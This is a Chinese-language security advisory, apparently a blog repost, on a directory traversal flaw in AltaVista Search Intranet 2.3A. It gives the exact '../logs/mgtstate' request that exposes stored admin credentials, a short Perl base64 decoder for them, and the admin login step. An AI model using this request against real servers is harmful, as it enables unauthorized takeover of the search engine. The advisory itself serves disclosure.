AltaVista 搜索引擎目录遍历问题

受影响系统:

 

  AltaVista Search Intranet 2.3A

 

描述:

 

  AltaVista Search engine在9000端口开启了一个webserver,用来监听搜索请求.主要的搜索

 

  函数(cgi-bin/query)中有一个模板变量{mss},它将接受搜索请求中的包含的单个"../"字符

 

  串,提供对上一层目录('http')中所有文档的访问权限.

 

  这些文档可能包含很多管理信息,包括用来进行远程管理的用户名和口令.这些用户名和口令

 

  被base-64编码,可以很容易得被恢复成纯文本方式,因此攻击者可以获得远程管理这个搜索引

 

  擎的权力.

 

  < 发现者: rudi carell (rudicarell@HOTMAIL.COM) >

 

测试方法:

 

  警 告

 

  以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

  通过执行 http://target:9000/cgi-bin/query?../logs/mgtstate

 

  可以获得mgtstate文件的内容,这里面包含有远程管理的用户名和口令.

 

  利用下面的小程序就可以将其解码,得到用户名和口令:

 

  #!/usr/bin/perl

 

  use MIME::Base64;

 

  print decode_base64("$ARGV[0]"), "\n";

 

  然后执行 http://target:9000/cgi-bin/mgt

 

  输入得到的用户名和口令就可以远程管理该搜索引擎

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值